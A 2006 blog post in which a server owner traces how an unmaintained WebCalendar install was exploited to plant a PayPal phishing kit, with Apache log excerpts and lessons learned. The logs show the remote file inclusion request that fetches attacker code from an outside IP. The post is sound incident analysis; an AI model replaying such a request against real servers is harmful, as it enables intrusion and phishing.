Today my server was hacked. It was an interesting process, discovering the hack and fixing it. I’m going to try to recreate it all here.
First, I noticed that I was getting a bunch of strange email messages coming my way: “Undelivered Mail Returned to Sender” The messages were from “Full Info ” and were addressed to null. No wonder they were bouncing. Because the email was in actuality originating on my server, they were bouncing back to the originator: www@swdranch.org. (That domain is my family website, and this site’s email host.) User www is the apache daemon.
This is odd. I don’t have any processes that send email from the apache daemon. I had a fear that I had been hacked.
I went in search of in the httpd logs. I matched the timestamp on the email message to the timestamp in the server logs, and found this:
67-22-196-3.albyny.adelphia.net – – [06/Oct/2006:12:43:13 -0500] “GET /sw/cmd-run=/login.htm HTTP/1.1” 200 11511
67-22-196-3.albyny.adelphia.net – – [06/Oct/2006:12:43:14 -0500] “GET /sw/cmd-run=/gen_validatorv2.js HTTP/1.1” 200 11909
67-22-196-3.albyny.adelphia.net – – [06/Oct/2006:12:43:33 -0500] “POST /sw/cmd-run=/loginip.php HTTP/1.1” 302 5
67-22-196-3.albyny.adelphia.net – – [06/Oct/2006:12:43:33 -0500] “GET /sw/cmd-run=/webscr.htm HTTP/1.1” 200 3373
67-22-196-3.albyny.adelphia.net – – [06/Oct/2006:12:43:36 -0500] “GET /sw/cmd-run=/Verify.htm HTTP/1.1” 200 30938
67-22-196-3.albyny.adelphia.net – – [06/Oct/2006:12:46:02 -0500] “POST /sw/cmd-run=/loginip.php HTTP/1.1” 302 5
67-22-196-3.albyny.adelphia.net – – [06/Oct/2006:12:46:21 -0500] “POST /sw/cmd-run=/loginip.php HTTP/1.1” 302 5
67-22-196-3.albyny.adelphia.net – – [06/Oct/2006:12:48:13 -0500] “POST /sw/cmd-run=/verifyip.php HTTP/1.1” 302 5
67-22-196-3.albyny.adelphia.net – – [06/Oct/2006:12:48:13 -0500] “GET /sw/cmd-run=/processing.htm HTTP/1.1” 200 3506
67-22-196-3.albyny.adelphia.net – – [06/Oct/2006:12:48:21 -0500] “GET /sw/cmd-run=/Complete.htm HTTP/1.1” 200 5460
It was obvious at this point that I had been hacked. None of those locations should exist on my server. So I went to look at the directory in question — the “sw” directory. (Interestingly, I had an “sw” directory already on the server. I’m not sure yet if this contributed to the hacker’s success.)
In the sw directory, I found three extra entries – a zip file, “cmdrun.zip” and two directories. One labeled “cmd-run=” and the other “test”. Within those directories, I found all of the files accessed in the server log snippet above. Looking within the files, I see that they are all related to a PayPal phishing scam. How did they get there? I went back to check the server access logs, and found no unauthorized accesses. cmdrun.zip and the cmd-run= folder had creation dates of 06:00 this morning, so I went back to the http logs, and found this:
adsl86-34-244-232.romtelecom.net – – [06/Oct/2006:06:00:22 -0500] “GET /WebCalendar/tools/send_reminders.php?includedir=http://65.254.62.202/dir/a.txt? HTTP/1.1” 200 6523
adsl86-34-244-232.romtelecom.net – – [06/Oct/2006:06:00:34 -0500] “POST /WebCalendar/tools/send_reminders.php?includedir=http://65.254.62.202/dir/a.txt? HTTP/1.1” 200 8276
adsl86-34-244-232.romtelecom.net – – [06/Oct/2006:06:00:50 -0500] “POST /WebCalendar/tools/send_reminders.php?includedir=http://65.254.62.202/dir/a.txt? HTTP/1.1” 200 8276
adsl86-34-244-232.romtelecom.net – – [06/Oct/2006:06:01:25 -0500] “POST /WebCalendar/tools/send_reminders.php?includedir=http://65.254.62.202/dir/a.txt? HTTP/1.1” 200 5769
adsl86-34-244-232.romtelecom.net – – [06/Oct/2006:06:01:36 -0500] “POST /WebCalendar/tools/send_reminders.php?includedir=http://65.254.62.202/dir/a.txt? HTTP/1.1” 200 5910
adsl86-34-244-232.romtelecom.net – – [06/Oct/2006:06:01:47 -0500] “POST /WebCalendar/tools/send_reminders.php?includedir=http://65.254.62.202/dir/a.txt? HTTP/1.1” 200 5407
adsl86-34-244-232.romtelecom.net – – [06/Oct/2006:06:02:45 -0500] “GET / HTTP/1.1” 200 46
adsl86-34-244-232.romtelecom.net – – [06/Oct/2006:06:03:34 -0500] “GET /sw/cmd-run=/login.htm HTTP/1.1” 200 11511
adsl86-34-244-232.romtelecom.net – – [06/Oct/2006:06:03:35 -0500] “GET /sw/cmd-run=/gen_validatorv2.js HTTP/1.1” 200 11909
adsl86-34-244-232.romtelecom.net – – [06/Oct/2006:06:03:49 -0500] “POST /WebCalendar/tools/send_reminders.php?includedir=http://65.254.62.202/dir/a.txt? HTTP/1.1” 200 38761
adsl86-34-244-232.romtelecom.net – – [06/Oct/2006:06:04:46 -0500] “GET /sw/cmd-run=/login.htm HTTP/1.1” 200 11511
adsl86-34-244-232.romtelecom.net – – [06/Oct/2006:06:04:48 -0500] “GET /sw/cmd-run=/gen_validatorv2.js HTTP/1.1” 200 11909
adsl86-34-244-232.romtelecom.net – – [06/Oct/2006:06:05:02 -0500] “POST /sw/cmd-run=/loginip.php HTTP/1.1” 302 5
adsl86-34-244-232.romtelecom.net – – [06/Oct/2006:06:05:03 -0500] “GET /sw/cmd-run=/webscr.htm HTTP/1.1” 200 3373
adsl86-34-244-232.romtelecom.net – – [06/Oct/2006:06:05:07 -0500] “GET /sw/cmd-run=/Verify.htm HTTP/1.1” 200 30938
adsl86-34-244-232.romtelecom.net – – [06/Oct/2006:06:05:07 -0500] “GET /sw/cmd-run=/gen_validatorv2.js HTTP/1.1” 304 –
adsl86-34-244-232.romtelecom.net – – [06/Oct/2006:06:05:08 -0500] “GET /sw/cmd-run=/ HTTP/1.1” 403 291
adsl86-34-244-232.romtelecom.net – – [06/Oct/2006:06:05:37 -0500] “POST /sw/cmd-run=/verifyip.php HTTP/1.1” 302 5
adsl86-34-244-232.romtelecom.net – – [06/Oct/2006:06:05:38 -0500] “GET /sw/cmd-run=/processing.htm HTTP/1.1” 200 3506
adsl86-34-244-232.romtelecom.net – – [06/Oct/2006:06:05:45 -0500] “GET /sw/cmd-run=/Complete.htm HTTP/1.1” 200 5460
adsl86-34-244-232.romtelecom.net – – [06/Oct/2006:06:07:13 -0500] “GET /sw/cmd-run=/ HTTP/1.1” 403 291
adsl86-34-244-232.romtelecom.net – – [06/Oct/2006:06:09:46 -0500] “GET /sw/cmd-run=/login.htm HTTP/1.1” 304 –
adsl86-34-244-232.romtelecom.net – – [06/Oct/2006:06:09:47 -0500] “GET /sw/cmd-run=/gen_validatorv2.js HTTP/1.1” 304 –
My friend at romtelecom.net had been busy in the wee hours this morning exploiting a vulnerability in the WebCalendar package. It appears that he used the “send_reminders” function to include a remote file, which included a payload (zip file) which was ultimately expanded on my server.
Ironically, I had installed WebCalendar to test the package two years ago. After a long weekend testing, I decided I didn’t like the package. But I never deleted it. The package was installed at my webserver root (http://xxx.xxx.xxx.xxx/WebCalendar which allowed it to be easily found. Security through obscurity plus unpatched, unmaintained software, plus faulty privilege grants (writable by www) equals an invitation to hackage.
The only thing for the hacker to do now was to send out notice to unsuspecting victims that PayPal wanted their login info at my site. Damn!
Would you believe that this next step took only one minute and 14 seconds? The next entry in the server log is
c-71-229-64-41.hsd1.mi.comcast.net – – [06/Oct/2006:06:11:01 -0500] “GET /sw/cmd-run=/login.htm HTTP/1.1” 200 11511
c-71-229-64-41.hsd1.mi.comcast.net – – [06/Oct/2006:06:11:02 -0500] “GET /sw/cmd-run=/gen_validatorv2.js HTTP/1.1” 200 11909
and the first victim was contacted. This was probably just an email recipient with the client set to automatically view html, as the victim didn’t go any further than seeing the login invitation screen, which prefetches the credit card validation javascript file.
Back to the symptom: an inbox full of email bounces. Why were they coming to me? Because the script kiddie didn’t fill out the configuration file completely. The script is set up to send out two emails for every victim (not sure why) and the second email address is left null. Due to the null address, I got the bounce, and was able to track down the problem. Had it not been for that, this could have gone on for months.
At about 1:00, I checked my email for the first time in the day, and saw (and deleted) a bunch of these emails. This is unfortunate. As the day went on, I kept getting more, and eventually stopped to take a look. I was surprised to find in the first one the name, address, telephone number, credit card number, expiration, CVV, and last 4 digits of SSN. This is not just an invitation to credit card fraud, it’s an invitation to identity theft! What are these people thinking? I made note of the victims that sent info, and called their houses to warn them that they may want to cancel that account, at a minimum.
Looking at the webserver logs, I noticed that my friend at romtelecom came back three or four times to change various files. Not sure what he was changing. The two files that contain the phisher’s receiving email addresses are the most recently changed, as late as 12:00. He may have been changning the email addresses from time to time. Very smart.
The final email addresses are boxusere@yahoo.com and matadegmail@yahoo.com
Because I deleted some emails earlier in the day, I may have missed some victims, who have not been informed. I hope not. It will be interesting to see how many people total access the phishing scam on my server, now that the vulnerability has been closed.
Lessons learned:
- Don’t install test software on a production server
- Don’t orphan software without a maintenance/patch plan
- Be careful how you dole out privileges on publicly-accessible folders. The www-documents tree should NOT be writeably by www, except in very limited and controlled instances
- Don’t depend on Security Through Obscurity
- Don’t rely upon the mistakes of the hacker to tip you off. Check the server logs often.
- Don’t ever respond to a PayPal email
If you’d like more info, or any of the source files, drop me a line – I’m happy to share.
I got what you mean,saved to bookmarks, very decent site.